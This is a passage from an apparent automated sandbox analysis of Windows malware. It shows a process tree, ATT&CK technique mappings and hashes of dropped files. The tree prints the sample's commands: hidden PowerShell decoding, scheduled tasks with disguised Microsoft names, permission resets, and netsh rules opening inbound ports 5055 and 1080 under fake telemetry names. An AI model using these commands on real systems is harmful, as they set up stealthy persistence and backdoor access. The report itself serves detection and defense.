      PID:2312
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /delete /tn "RealDev" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:964
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /delete /tn "NvidDev" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1692
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "Get-ChildItem
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2696
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "Get-ChildItem
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4328
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\System32\spool\driv\cmsDev" /reset /q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3552
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Microsoft\Windows\Dev\dmcDev" /reset /q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3448
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Microsoft\Windows\Sys\wuDev" /reset /q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5736
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\ProgramData\Microsoft\Windows\Sys\wuDev" /reset /q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3868
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$k=[byte[]](0xD0,0xDF,0x4B,0xF4);$b=[System.IO.File]::ReadAllBytes(
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4344
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$cf=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3236
  - - C:\Windows\SysWOW64\where.exe
      where python 2>"C:\Users\Admin\AppData\Local\Temp\nul"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2788
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$u=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4188
  - - C:\Windows\SysWOW64\where.exe
      where python 2>"C:\Users\Admin\AppData\Local\Temp\nul"
      4⤵
      System Location Discovery: System Language Discovery
      PID:124
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "IntDev" /tr "\"\" \"C:\Windows\System32\spool\driv\cmsDev\"" /sc MINUTE /mo 7 /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4648
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "RealDev" /tr "\"\" \"C:\ProgramData\Microsoft\Windows\Dev\dmcDev\"" /sc MINUTE /mo 7 /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5364
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "NvidDev" /tr "\"\" \"C:\ProgramData\Microsoft\Windows\Sys\wtsDev\" run" /sc DAILY /mo 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5696
  - - C:\Windows\SysWOW64\netsh.exe
      netsh SOFTWARE\Policies\Microsoft\Windows Defender\SpyNetSOFTWARE\Microsoft\Windows Defender\SpyNet delete rule name="Windows Telemetry Agent" 2>nul
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:3264
  - - C:\Windows\SysWOW64\netsh.exe
      netsh SOFTWARE\Policies\Microsoft\Windows Defender\SpyNetSOFTWARE\Microsoft\Windows Defender\SpyNet add rule name="Windows Telemetry Agent" dir=in action=allow protocol=TCP localport=5055 enable=yes profile=any
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:2000
  - - C:\Windows\SysWOW64\netsh.exe
      netsh SOFTWARE\Policies\Microsoft\Windows Defender\SpyNetSOFTWARE\Microsoft\Windows Defender\SpyNet delete rule name="Windows Diagnostic Port" 2>nul
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:1860
  - - C:\Windows\SysWOW64\netsh.exe
      netsh SOFTWARE\Policies\Microsoft\Windows Defender\SpyNetSOFTWARE\Microsoft\Windows Defender\SpyNet add rule name="Windows Diagnostic Port" dir=in action=allow protocol=TCP localport=1080 enable=yes profile=any
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:2312
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /tn "Microsoft\Windows\UpdateOrchestrator\DiagHostUpdate"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2924
  - - C:\ProgramData\Microsoft\Windows\DiagHost\WdfDiagSvc.exe
      "C:\ProgramData\Microsoft\Windows\DiagHost\WdfDiagSvc.exe"
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:5428
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c schtasks /query /tn "Microsoft\Windows\WDF\DiagSvc" /fo LIST >nul 2>&1 || schtasks /create /tn "Microsoft\Windows\WDF\DiagSvc" /tr "\"C:\ProgramData\Microsoft\Windows\DiagHost\WdfDiagSvc.exe\"" /sc ONLOGON /delay 0005:00 /rl HIGHEST /f >nul 2>&1
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3196
      - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "Microsoft\Windows\WDF\DiagSvc" /fo LIST
        6⤵
        
        PID:4684
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "Microsoft\Windows\WDF\DiagSvc" /tr "\"C:\ProgramData\Microsoft\Windows\DiagHost\WdfDiagSvc.exe\"" /sc ONLOGON /delay 0005:00 /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1464
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\wdf_setup.ps1"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5356
      - C:\Users\Admin\AppData\Local\Temp\wdf_py_inst.exe
        
        "C:\Users\Admin\AppData\Local\Temp\wdf_py_inst.exe" /quiet InstallAllUsers=0 PrependPath=1 Include_test=0
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:6008
        
        C:\Windows\Temp\{A8427EE2-FEBF-485E-8133-0EBFDFB554B0}\.cr\wdf_py_inst.exe
        
        "C:\Windows\Temp\{A8427EE2-FEBF-485E-8133-0EBFDFB554B0}\.cr\wdf_py_inst.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\wdf_py_inst.exe" -burn.filehandle.attached=592 -burn.filehandle.self=732 /quiet InstallAllUsers=0 PrependPath=1 Include_test=0
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:6048

C:\ProgramData\Microsoft\Windows\DiagHost\WdfDiagSvc.exe
"C:\ProgramData\Microsoft\Windows\DiagHost\WdfDiagSvc.exe"
1⤵
- Executes dropped EXE
PID:260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Software Discovery

T1518

Security Software Discovery

T1518.001

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WdfDiagSvc.exe

Path C:\ProgramData\Microsoft\Windows\DiagHost\WdfDiagSvc.exe
Size 239KB
SHA256 8facfb806ed222c5f20f91083dd1cbd2d79f944717971e1744e5140f1fd3314f
MD5 e19a2c76a4e66121e7671ae3d9cecc44
SHA1 68499ccbdbeafd830f72c8c88bb5dc56f69b429e
SHA512 eba89a057e40e599106032bdf4d3a657320583f0142c144bdcdc29fb420236caf0566816d8ba93cce892969ce3ca84e224b0117d13ee82254a22e7f54ea21483
SSDEEP 3072:mOPTnmmNq61hBET0pibh1RcU3RCi/OFpzH+Z7FjT1Xmkl1bgA2Y:mOPTHNBh2T0pibhnckGFl2jJW+
TLSH
T196349D45B3A50CF9E977823DCD625606D7B278510760DBDF07A046A7AF23AE04D3EB22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

update.flag

Path C:\ProgramData\Microsoft\Windows\DiagHost\update.flag
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

cfg.enc

Path C:\ProgramData\Microsoft\Windows\Sys\cfg.enc
Size 1KB
SHA256 fe70723db8718582517f0039dbf89158606fce0f71f91f92f721d27ce9a033d5
MD5 188ecd609dad57a82a311a9892e6183e
SHA1 bc98086b95de74a18770b74092e61b066ec6dbe1
SHA512 6939af0287ebb5a82a0868e4240239f0aa43d52ee428cc0c8d209946c9d5b9ba9383866524cfdd580aae289091fbe6244298467c1eaacdafce0d75bbee90d443
TLSH
T19611650AF93F2AEBEDD9018504B895281783108745BF95CED4E7FF195E83CD10591763
MD5 SHA1 SHA512 TLSH

Submit Download

wdf.zip

Path C:\ProgramData\Microsoft\Windows\Sys\wdf.zip
Size 7KB
SHA256 8c690a34898f56acce61c0d72be42fae642aaf0bf36fce228fcd0fe8221dc25c
MD5 5297367604f8dfb451681b800c58ddf5
SHA1 2af12848023e3f55530aa10f754a8015c14dbeed
SHA512 e848bb133277893591657bd41e328c7155e735bec7d7a4a998c9a52180d7f070ccb5e97ac8f4361552ddd85d23c4912cfe04281dc2b3e0f634fb37e3fdff137f
SSDEEP 192:LwNDRDtBrR2NyKYm4BeducnchmmQVcHI1TLO7ELrV:Uz/VKy33B0ncknhO7Ed
TLSH
T1C5F1BFD98F1A99A7B317463942B8FF512B92F724114A9B211827800488F1DBD5EE8CCB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wdf_rly.bin

Path C:\ProgramData\Microsoft\Windows\Sys\wdf_rly.bin
Size 26KB
SHA256 9b64a18ed05fc6f1b63ace0779c08e37a2e6fc841fedd354ed572b909aa14995
MD5 58d3d9874b94825ddbc4d7b8528a7009
SHA1 62984e626449dea0cffec30a310c1ff11f450b02
SHA512 b83d7abba65556eeb9a25b6a25a0c3b42bd552ac813aae3e54b184900ecd0ba693cf19715d88a000aa1c69a742139b19d6885c115220e2df6c4e8ae0e4817dc1
SSDEEP 384:+CKXb4YNntEXTNJtkfpoac1cQ1zNTWJU/n7z/0:+pFNnt0JtkfpHc6QBNnM
TLSH
T17CC281728C6B6553B673C40C9C228021F316B7177625692776FCB2A82FFC466C161EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wdf_svc.bin

Path C:\ProgramData\Microsoft\Windows\Sys\wdf_svc.bin
Size 10KB
SHA256 5619bbf6e1b2bcb699c3de01a9fe7c2b59416587d5d142581df5a86cbfa82a08
MD5 9e44134c3ba172c7412104e3d58ac163
SHA1 cb67e60821ecb176dab35fc8b16ecaad7d103ebf
SHA512 16db7215f6f04e239f4e746a98a8b9daf74128582ad5eb957fa583131279d0d76af7a7f2aa1581c5b093e265f7d8841fc58d9b0ca388115c16a8cff9a699267f
SSDEEP 192:dCSyaUDcR405mEU9wnwxTVdbvOo890Q70a63osO:0zaA8405mJ6IHbXO23oT
TLSH
T15822C5718D115953F5B7D00D890284B0F756B203B2746841799CB6E0EFFC4A2E9A1FFA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wuDev

Path C:\ProgramData\Microsoft\Windows\Sys\wuDev
Size 102KB
SHA256 6a49dffbda2e56caf664df751156921a5f989104993cdc1624804e64b92df6cf
MD5 7e6f5fe42cfdb998f8ac21e2fbb4d046
SHA1 f5f225f4b749b65348c2bd6d29f3668a08008893
SHA512 e5ec21afb878006b075541914884d04dce7e352f46c06eb3e97f5c79c710cae884bea5331dc15b5b67c88f5f169537aa203f0b574935442afc8acbb33a2b2078
SSDEEP 3072:n5J7GEDmONhjy+P40XmV3co80So1CeDV2yUdV7:nT7baONhj60WTrjo7
TLSH
T19AA312791F953F2DDF0B52212178EB08882BB511E176A4FA563F1E46AB1407BEC362C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download